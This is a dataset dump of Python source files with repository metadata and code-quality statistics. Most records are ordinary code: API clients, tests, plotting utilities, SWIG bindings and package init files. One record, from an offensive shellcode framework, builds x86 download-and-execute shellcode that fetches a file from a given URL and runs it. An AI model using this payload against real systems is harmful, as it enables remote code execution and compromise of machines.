hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
9b13935d084d102ea8e9a1f53fdc2f3a33590d69
43
py
Python
singa_easy/modules/mod_driftadapt/__init__.py
arielclj/singa-easy
fd4bc601a5501062936f874df14711a3cefa1346
[ "Apache-2.0" ]
6
2020-04-28T16:57:15.000Z
2021-08-07T13:06:28.000Z
singa_easy/modules/mod_driftadapt/__init__.py
arielclj/singa-easy
fd4bc601a5501062936f874df14711a3cefa1346
[ "Apache-2.0" ]
41
2020-04-06T13:18:40.000Z
2021-01-20T04:29:50.000Z
singa_easy/modules/mod_driftadapt/__init__.py
arielclj/singa-easy
fd4bc601a5501062936f874df14711a3cefa1346
[ "Apache-2.0" ]
10
2020-04-06T09:56:20.000Z
2022-03-21T09:18:51.000Z
from .label_drift import LabelDriftAdapter
21.5
42
0.883721
5
43
7.4
1
0
0
0
0
0
0
0
0
0
0
0
0.093023
43
1
43
43
0.948718
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9b19b5b097791f77c10ac24b70fa215827bbe9d5
180
py
Python
challenge_0/python/flickdm/hello_world.py
rchicoli/2017-challenges
44f0b672e5dea34de1dde131b6df837d462f8e29
[ "Apache-2.0" ]
271
2017-01-01T22:58:36.000Z
2021-11-28T23:05:29.000Z
challenge_0/python/flickdm/hello_world.py
AakashOfficial/2017Challenges
a8f556f1d5b43c099a0394384c8bc2d826f9d287
[ "Apache-2.0" ]
283
2017-01-01T23:26:05.000Z
2018-03-23T00:48:55.000Z
challenge_0/python/flickdm/hello_world.py
AakashOfficial/2017Challenges
a8f556f1d5b43c099a0394384c8bc2d826f9d287
[ "Apache-2.0" ]
311
2017-01-01T22:59:23.000Z
2021-09-23T00:29:12.000Z
# # File: hello_world.py # Author: Douglas Flick # 2017Challenge_0 #import print_function for python2.7 support from __future__ import print_function print("Hello World!")
18
44
0.761111
24
180
5.375
0.75
0.155039
0.294574
0
0
0
0
0
0
0
0
0.046358
0.161111
180
9
45
20
0.807947
0.583333
0
0
0
0
0.179104
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
1
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
6
f1a9904743853d5d7058ca266b26f2f9267f0f0e
156
py
Python
datasets/__init__.py
human-analysis/3dfacefill
1f85d72731690730eef03871d3afecf9d4d307b4
[ "MIT" ]
4
2022-01-01T08:53:20.000Z
2022-01-26T18:43:36.000Z
datasets/__init__.py
human-analysis/3dfacefill
1f85d72731690730eef03871d3afecf9d4d307b4
[ "MIT" ]
1
2022-03-07T11:34:59.000Z
2022-03-08T02:41:11.000Z
datasets/__init__.py
human-analysis/3dfacefill
1f85d72731690730eef03871d3afecf9d4d307b4
[ "MIT" ]
3
2022-01-01T08:53:22.000Z
2022-03-16T12:40:40.000Z
# __init__.py from torchvision.datasets import * from .faces import * from .celebamask import * from .faceshapemask import * from .celebacombined import *
19.5
34
0.775641
18
156
6.5
0.555556
0.34188
0
0
0
0
0
0
0
0
0
0
0.147436
156
7
35
22.285714
0.879699
0.070513
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
f1aa67d32db77deefaaeaa2b984e6de009116e72
596
py
Python
shell/database/Linux86/download.py
vasco2016/shellsploit-framework
04eb4a0449acaba0b70c40a78c61a0d5e2527406
[ "MIT" ]
61
2017-06-13T13:48:38.000Z
2022-03-02T17:43:45.000Z
shell/database/Linux86/download.py
T0mcat3r/shellsploit-framework
04eb4a0449acaba0b70c40a78c61a0d5e2527406
[ "MIT" ]
null
null
null
shell/database/Linux86/download.py
T0mcat3r/shellsploit-framework
04eb4a0449acaba0b70c40a78c61a0d5e2527406
[ "MIT" ]
28
2017-08-15T05:38:27.000Z
2020-12-31T03:39:38.000Z
def downloadANDexecute( url, filename): shellcode = r"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x3b\x31\xc9\x31\xdb\x31\xc0\x6a\x05\x89\xe1\x89\xe1\x89\xe3\xb0\xa2\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f" shellcode += filename shellcode += r"\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50" shellcode += filename...
66.222222
164
0.731544
121
596
3.603306
0.413223
0.082569
0.082569
0.123853
0.151376
0.151376
0
0
0
0
0
0.263345
0.057047
596
9
165
66.222222
0.512456
0
0
0.222222
0
0.444444
0.676717
0.676717
0
1
0
0
0
1
0.111111
false
0
0
0
0.222222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
6
f1bc457fc8776f4099b0772435e58791d593b712
40,623
py
Python
blizzardapi/wow/wow_game_data_api.py
trevorphillipscoding/python-blizzardapi
e98e1ee38f4b336bc99baa668691c842a090109c
[ "MIT" ]
10
2020-12-03T14:23:56.000Z
2022-02-01T10:48:42.000Z
blizzardapi/wow/wow_game_data_api.py
trevorphillipscoding/python-blizzardapi
e98e1ee38f4b336bc99baa668691c842a090109c
[ "MIT" ]
65
2020-12-24T02:09:56.000Z
2022-03-28T20:09:01.000Z
blizzardapi/wow/wow_game_data_api.py
trevorphillips/python-blizzardapi
92921abd44dbf684ff8b8c06c8dc74539d2e4721
[ "MIT" ]
6
2021-06-24T17:37:55.000Z
2022-02-17T20:36:23.000Z
"""wow_game_data_api.py file.""" from ..api import Api class WowGameDataApi(Api): """All Wow Game Data API methods. Attributes: client_id: A string client id supplied by Blizzard. client_secret: A string client secret supplied by Blizzard. """ def __init__(self, client_id, client_sec...
50.33829
119
0.670581
5,090
40,623
5.166798
0.032417
0.094528
0.093083
0.098825
0.826419
0.797521
0.77041
0.717252
0.680748
0.629986
0
0
0.19681
40,623
806
120
50.400744
0.806026
0.125397
0
0.526733
0
0.00198
0.244321
0.146753
0
0
0
0
0
1
0.225743
false
0
0.00198
0
0.453465
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
6
f1ec27be26dee6837f70e8a044f9302323e3d901
303
py
Python
tests_example/test_module_one.py
elpassion/danger-py-cov
343b63154edf3980b2071a121206a1f31f20b7b0
[ "MIT" ]
1
2020-02-17T10:19:42.000Z
2020-02-17T10:19:42.000Z
tests_example/test_module_one.py
elpassion/danger-py-cov
343b63154edf3980b2071a121206a1f31f20b7b0
[ "MIT" ]
5
2020-02-04T15:27:47.000Z
2020-02-14T10:42:08.000Z
tests_example/test_module_one.py
elpassion/danger-py-cov
343b63154edf3980b2071a121206a1f31f20b7b0
[ "MIT" ]
1
2020-02-14T13:16:48.000Z
2020-02-14T13:16:48.000Z
from danger_py_cov_example.module_one import incrementer def test_incrementer_works_for_zero(): """ Test incrementer works for 0. """ assert incrementer(0) == 1 def test_incrementer_works_for_ten(): """ Test incrementer works for 10. """ assert incrementer(10) == 11
18.9375
56
0.686469
39
303
5.025641
0.512821
0.306122
0.408163
0.469388
0.265306
0
0
0
0
0
0
0.037975
0.217822
303
15
57
20.2
0.78903
0.19802
0
0
0
0
0
0
0
0
0
0
0.4
1
0.4
true
0
0.2
0
0.6
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
6
7b0214d714722e86bcddfcb68cd2f26c9076a56e
3,905
py
Python
getcookie.py
maso0310/Shop.com
193a8a9b8df62aa7746587f9d54a72076fdf2585
[ "MIT" ]
null
null
null
getcookie.py
maso0310/Shop.com
193a8a9b8df62aa7746587f9d54a72076fdf2585
[ "MIT" ]
null
null
null
getcookie.py
maso0310/Shop.com
193a8a9b8df62aa7746587f9d54a72076fdf2585
[ "MIT" ]
null
null
null
import requests from bs4 import BeautifulSoup url_get = "https://tw.shop.com/maso0310" url_post = 'https://tw.shop.com/search/header' get_cookie = requests.get(url_get) soup_get = BeautifulSoup(res_get.text,'html.parser') siteID = soup_get.find(id='siteID')['value'] countryCode = soup_get.find(id='countryC...
105.540541
2,559
0.838668
388
3,905
8.273196
0.639175
0.019626
0.027414
0.032399
0
0
0
0
0
0
0
0.220151
0.051985
3,905
36
2,560
108.472222
0.646948
0
0
0
0
0.0625
0.790385
0.613078
0
0
0
0
0
0
null
null
0
0.0625
null
null
0.03125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
0
0
0
0
0
0
1
1
null
0
0
0
0
1
0
0
0
0
0
0
0
0
6
7b1f96519038c0e09de083de774460a02ce6820a
7,910
py
Python
pinn/visualizer.py
Oscarlight/PiNN_Caffe2
fd5127c88960a863049f4bda658a4c26a8b5d376
[ "MIT" ]
6
2017-09-10T03:50:45.000Z
2021-11-17T14:51:44.000Z
pinn/visualizer.py
Oscarlight/PiNN_Caffe2
fd5127c88960a863049f4bda658a4c26a8b5d376
[ "MIT" ]
5
2017-09-08T16:26:33.000Z
2017-10-17T21:44:27.000Z
pinn/visualizer.py
Oscarlight/PiNN_Caffe2
fd5127c88960a863049f4bda658a4c26a8b5d376
[ "MIT" ]
6
2017-09-04T23:03:17.000Z
2020-11-21T07:50:59.000Z
import numpy as np import matplotlib.pyplot as plt import matplotlib.colors as colors from pylab import rcParams from matplotlib.ticker import AutoMinorLocator FIGURE_SIZE = (8, 12) FONT_SIZE = 22 LINE_WIDTH = 2 MAJOR_LABEL_SIZE = 22 MINOR_LABEL_SIZE = 0 def write_csv_file(file_name, data, description): ''' Write...
40.984456
130
0.642604
1,289
7,910
3.608223
0.117921
0.041281
0.027521
0.041281
0.823694
0.810148
0.801978
0.798323
0.785853
0.760482
0
0.012829
0.231353
7,910
192
131
41.197917
0.752138
0.083059
0
0.592857
0
0
0.043195
0
0
0
0
0.005208
0
1
0.078571
false
0
0.035714
0
0.135714
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
9e2f418b0bf0c8330103183a61a5f4244325f059
284
py
Python
nni/compression/experiment/config/__init__.py
sky-dust-intelligence-bv/nni
d38359e2f56603ddd5bad00ee2bcb7b38d9a88a5
[ "MIT" ]
2,305
2018-09-07T12:42:26.000Z
2019-05-06T20:14:24.000Z
nni/compression/experiment/config/__init__.py
sky-dust-intelligence-bv/nni
d38359e2f56603ddd5bad00ee2bcb7b38d9a88a5
[ "MIT" ]
379
2018-09-10T10:19:50.000Z
2019-05-06T18:04:46.000Z
nni/compression/experiment/config/__init__.py
sky-dust-intelligence-bv/nni
d38359e2f56603ddd5bad00ee2bcb7b38d9a88a5
[ "MIT" ]
314
2018-09-08T05:36:08.000Z
2019-05-06T08:48:51.000Z
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .compression import CompressionConfig, CompressionExperimentConfig from .utils import generate_compression_search_space from .vessel import CompressionVessel from .pruner import TaylorFOWeightPrunerConfig
35.5
71
0.859155
29
284
8.310345
0.758621
0
0
0
0
0
0
0
0
0
0
0
0.102113
284
7
72
40.571429
0.945098
0.239437
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9e42af7dcb04877eb92d27c90766bc0c6839c030
10,657
py
Python
SimModel_Python_API/simmodel_swig/Release/SimOwnerHistory_Default_Default.py
EnEff-BIM/EnEffBIM-Framework
6328d39b498dc4065a60b5cc9370b8c2a9a1cddf
[ "MIT" ]
3
2016-05-30T15:12:16.000Z
2022-03-22T08:11:13.000Z
SimModel_Python_API/simmodel_swig/Release/SimOwnerHistory_Default_Default.py
EnEff-BIM/EnEffBIM-Framework
6328d39b498dc4065a60b5cc9370b8c2a9a1cddf
[ "MIT" ]
21
2016-06-13T11:33:45.000Z
2017-05-23T09:46:52.000Z
SimModel_Python_API/simmodel_swig/Release/SimOwnerHistory_Default_Default.py
EnEff-BIM/EnEffBIM-Framework
6328d39b498dc4065a60b5cc9370b8c2a9a1cddf
[ "MIT" ]
null
null
null
# This file was automatically generated by SWIG (http://www.swig.org). # Version 3.0.7 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info if version_info >= (2, 6, 0): def swig_import_helper(): from os.path imp...
39.47037
142
0.74186
1,165
10,657
6.219742
0.129614
0.27629
0.312172
0.188242
0.703423
0.655534
0.631797
0.50828
0.456942
0.384488
0
0.001944
0.179319
10,657
269
143
39.6171
0.826549
0.027588
0
0.379808
1
0
0.028784
0.006182
0
0
0
0
0
1
0.173077
false
0.009615
0.052885
0.134615
0.5625
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
6
9e4343fa308dddb5696f684334390abd63df3aac
7,465
py
Python
test/test_blockentropy.py
ELIFE-ASU/PyInform
832d8f28d3ac214f631753bab4907b39dee25442
[ "MIT" ]
27
2017-05-24T16:44:42.000Z
2022-03-13T01:33:14.000Z
test/test_blockentropy.py
ELIFE-ASU/PyInform
832d8f28d3ac214f631753bab4907b39dee25442
[ "MIT" ]
16
2016-06-17T17:14:11.000Z
2022-03-01T02:56:02.000Z
test/test_blockentropy.py
ELIFE-ASU/PyInform
832d8f28d3ac214f631753bab4907b39dee25442
[ "MIT" ]
9
2016-05-19T20:28:51.000Z
2021-02-04T01:09:19.000Z
# Copyright 2016-2019 Douglas G. Moore. All rights reserved. # Use of this source code is governed by a MIT # license that can be found in the LICENSE file. import unittest from pyinform.error import InformError from pyinform.blockentropy import block_entropy class TestBlockEntropy(unittest.TestCase): def test_bl...
40.134409
106
0.511186
1,106
7,465
3.331826
0.074141
0.109634
0.109091
0.08901
0.922117
0.922117
0.917775
0.910448
0.905563
0.896608
0
0.153877
0.333155
7,465
185
107
40.351351
0.58638
0.020094
0
0.632353
0
0
0.001094
0
0
0
0
0
0.308824
1
0.147059
false
0
0.022059
0
0.183824
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
9e66490d9099f2e5225a8fdc56a74d3968ebfb7c
244
py
Python
scenes/charactercreation/__init__.py
ChrisLR/BasicDungeonRL
b293d40bd9a0d3b7aec41b5e1d58441165997ff1
[ "MIT" ]
3
2017-10-28T11:28:38.000Z
2018-09-12T09:47:00.000Z
scenes/charactercreation/__init__.py
ChrisLR/BasicDungeonRL
b293d40bd9a0d3b7aec41b5e1d58441165997ff1
[ "MIT" ]
null
null
null
scenes/charactercreation/__init__.py
ChrisLR/BasicDungeonRL
b293d40bd9a0d3b7aec41b5e1d58441165997ff1
[ "MIT" ]
null
null
null
from scenes.charactercreation.attributes import AttributeSelection from scenes.charactercreation.classes import ClassSelection from scenes.charactercreation.skills import SkillsSelection from scenes.charactercreation.races import RaceSelection
48.8
66
0.901639
24
244
9.166667
0.5
0.181818
0.490909
0
0
0
0
0
0
0
0
0
0.065574
244
4
67
61
0.964912
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9e66b730a749af3bd53fcc35c1dc5bcdff75b9b3
20
py
Python
1-Data_Preperation/docker/train.py
Vikram-Singh-Yadav/TF2-Object-Deetection-Faster-RCNN
b7edcec31727264ba1508d7dba508ca24a010d46
[ "MIT" ]
1
2021-06-25T10:57:57.000Z
2021-06-25T10:57:57.000Z
1-Data_Preperation/docker/train.py
Vikram-Singh-Yadav/TF2-Object-Deetection-Faster-RCNN
b7edcec31727264ba1508d7dba508ca24a010d46
[ "MIT" ]
null
null
null
1-Data_Preperation/docker/train.py
Vikram-Singh-Yadav/TF2-Object-Deetection-Faster-RCNN
b7edcec31727264ba1508d7dba508ca24a010d46
[ "MIT" ]
null
null
null
print("Generated!!")
20
20
0.7
2
20
7
1
0
0
0
0
0
0
0
0
0
0
0
0
20
1
20
20
0.7
0
0
0
1
0
0.52381
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
6
9e67b9841488f1189b88a915ff54f70d72863984
137
py
Python
gym2/analogues/__init__.py
vlad17/gym2
910e639be8d588af3d59b02e9a5958ff87840f01
[ "Apache-2.0" ]
null
null
null
gym2/analogues/__init__.py
vlad17/gym2
910e639be8d588af3d59b02e9a5958ff87840f01
[ "Apache-2.0" ]
2
2018-01-29T22:07:24.000Z
2018-04-13T00:38:26.000Z
gym2/analogues/__init__.py
vlad17/gym2
910e639be8d588af3d59b02e9a5958ff87840f01
[ "Apache-2.0" ]
2
2018-01-27T23:39:23.000Z
2018-04-12T23:44:16.000Z
from .gym_fully_observable_half_cheetah import GymFullyObservableHalfCheetah from .gym_fully_observable_ant import GymFullyObservableAnt
45.666667
76
0.927007
15
137
8
0.666667
0.116667
0.2
0.366667
0
0
0
0
0
0
0
0
0.058394
137
2
77
68.5
0.930233
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
9e699a5230ec0fda6c707692e5efd53e9bfecded
179
py
Python
pyanomaly/datatools/dataclass/sampler/__init__.py
sourcery-ai-bot/PyAnomaly
c92cec86e4d31daabe8b336fa7067e3b0bb7ca89
[ "Apache-2.0" ]
102
2020-06-05T02:06:39.000Z
2022-03-08T14:51:47.000Z
pyanomaly/datatools/dataclass/sampler/__init__.py
sourcery-ai-bot/PyAnomaly
c92cec86e4d31daabe8b336fa7067e3b0bb7ca89
[ "Apache-2.0" ]
2
2020-06-07T02:40:07.000Z
2021-02-07T05:32:24.000Z
pyanomaly/datatools/dataclass/sampler/__init__.py
sourcery-ai-bot/PyAnomaly
c92cec86e4d31daabe8b336fa7067e3b0bb7ca89
[ "Apache-2.0" ]
13
2020-06-05T02:33:32.000Z
2022-02-19T07:28:50.000Z
""" @author: Yuhao Cheng @contact: yuhao.cheng[at]outlook.com """ from .common import * from .inf_sampler import TrainSampler from .dist_inf_sampler import DistTrainSampler
25.571429
46
0.759777
23
179
5.782609
0.652174
0.150376
0.240602
0
0
0
0
0
0
0
0
0
0.139665
179
7
46
25.571429
0.863636
0.324022
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9e836f529d1fdd11671cec8576d47a973fe04886
48
py
Python
gpvolve/simulate/__init__.py
harmsm/gpvolve
94dd71e5fbee29cc50b82d282ef33c850fb33575
[ "MIT" ]
null
null
null
gpvolve/simulate/__init__.py
harmsm/gpvolve
94dd71e5fbee29cc50b82d282ef33c850fb33575
[ "MIT" ]
null
null
null
gpvolve/simulate/__init__.py
harmsm/gpvolve
94dd71e5fbee29cc50b82d282ef33c850fb33575
[ "MIT" ]
2
2021-09-27T17:51:31.000Z
2021-11-04T15:35:51.000Z
from . import slim from . import wright_fisher
12
27
0.770833
7
48
5.142857
0.714286
0.555556
0
0
0
0
0
0
0
0
0
0
0.1875
48
3
28
16
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
9eb0cdbe5a160c4a8c099aca9dc7b9d307f43733
198
py
Python
cctbx/translation_search.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/translation_search.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/translation_search.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
from __future__ import division import cctbx.maptbx # import dependency import boost.python ext = boost.python.import_ext("cctbx_translation_search_ext") from cctbx_translation_search_ext import *
28.285714
61
0.848485
27
198
5.814815
0.444444
0.140127
0.280255
0.318471
0
0
0
0
0
0
0
0
0.09596
198
6
62
33
0.877095
0.085859
0
0
0
0
0.156425
0.156425
0
0
0
0
0
1
0
false
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
6
9eb104b5fd31ed20cdf9ba55a740bab1c5d488cd
44
py
Python
demo_impl/webui/api_blueprint/routes/__init__.py
JFF-Bohdan/vrc_t70_demo
32c9630f3a216d1ddd98d67f36515d2aa0d15569
[ "MIT" ]
null
null
null
demo_impl/webui/api_blueprint/routes/__init__.py
JFF-Bohdan/vrc_t70_demo
32c9630f3a216d1ddd98d67f36515d2aa0d15569
[ "MIT" ]
null
null
null
demo_impl/webui/api_blueprint/routes/__init__.py
JFF-Bohdan/vrc_t70_demo
32c9630f3a216d1ddd98d67f36515d2aa0d15569
[ "MIT" ]
null
null
null
from .supplementary import version_endpoint
22
43
0.886364
5
44
7.6
1
0
0
0
0
0
0
0
0
0
0
0
0.090909
44
1
44
44
0.95
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
7b7b6e696eddfecc82c89385918e8d1a540e175e
46
py
Python
fn_step1.py
Joshua-Moon/python_basic
4e324e0fabec7b932644171cfccd02289850d231
[ "MIT" ]
null
null
null
fn_step1.py
Joshua-Moon/python_basic
4e324e0fabec7b932644171cfccd02289850d231
[ "MIT" ]
null
null
null
fn_step1.py
Joshua-Moon/python_basic
4e324e0fabec7b932644171cfccd02289850d231
[ "MIT" ]
null
null
null
print('Hello world') print(len('Hello world'))
23
25
0.717391
7
46
4.714286
0.571429
0.606061
0
0
0
0
0
0
0
0
0
0
0.065217
46
2
25
23
0.767442
0
0
0
0
0
0.468085
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
6
7b8021a282ad3b2095f3516100696991ded8d25f
36
py
Python
vdb/extensions/i686.py
rnui2k/vivisect
b7b00f2d03defef28b4b8c912e3a8016e956c5f7
[ "ECL-2.0", "Apache-2.0" ]
716
2015-01-01T14:41:11.000Z
2022-03-28T06:51:50.000Z
vdb/extensions/i686.py
rnui2k/vivisect
b7b00f2d03defef28b4b8c912e3a8016e956c5f7
[ "ECL-2.0", "Apache-2.0" ]
266
2015-01-01T15:07:27.000Z
2022-03-30T15:19:26.000Z
vdb/extensions/i686.py
rnui2k/vivisect
b7b00f2d03defef28b4b8c912e3a8016e956c5f7
[ "ECL-2.0", "Apache-2.0" ]
159
2015-01-01T16:19:44.000Z
2022-03-21T21:55:34.000Z
from vdb.extensions.i386 import *
9
33
0.75
5
36
5.4
1
0
0
0
0
0
0
0
0
0
0
0.1
0.166667
36
3
34
12
0.8
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
cda1169c5fce84867df084ec3a99ff285f14f0bf
550
py
Python
src/jt/rubicon/java/_typehandler/__init__.py
karpierz/jtypes.rubicon
8f8196e47de93183eb9728fec0d08725fc368ee0
[ "BSD-3-Clause" ]
2
2018-11-29T06:19:05.000Z
2018-12-09T09:47:55.000Z
src/jt/rubicon/java/_typehandler/__init__.py
karpierz/jtypes.rubicon
8f8196e47de93183eb9728fec0d08725fc368ee0
[ "BSD-3-Clause" ]
null
null
null
src/jt/rubicon/java/_typehandler/__init__.py
karpierz/jtypes.rubicon
8f8196e47de93183eb9728fec0d08725fc368ee0
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2016-2019, Adam Karpierz # Licensed under the BSD license # http://opensource.org/licenses/BSD-3-Clause from .void_handler import * # noqa from .boolean_handler import * # noqa from .char_handler import * # noqa from .byte_handler import * # noqa from .short_handler import * # noqa from...
34.375
45
0.703636
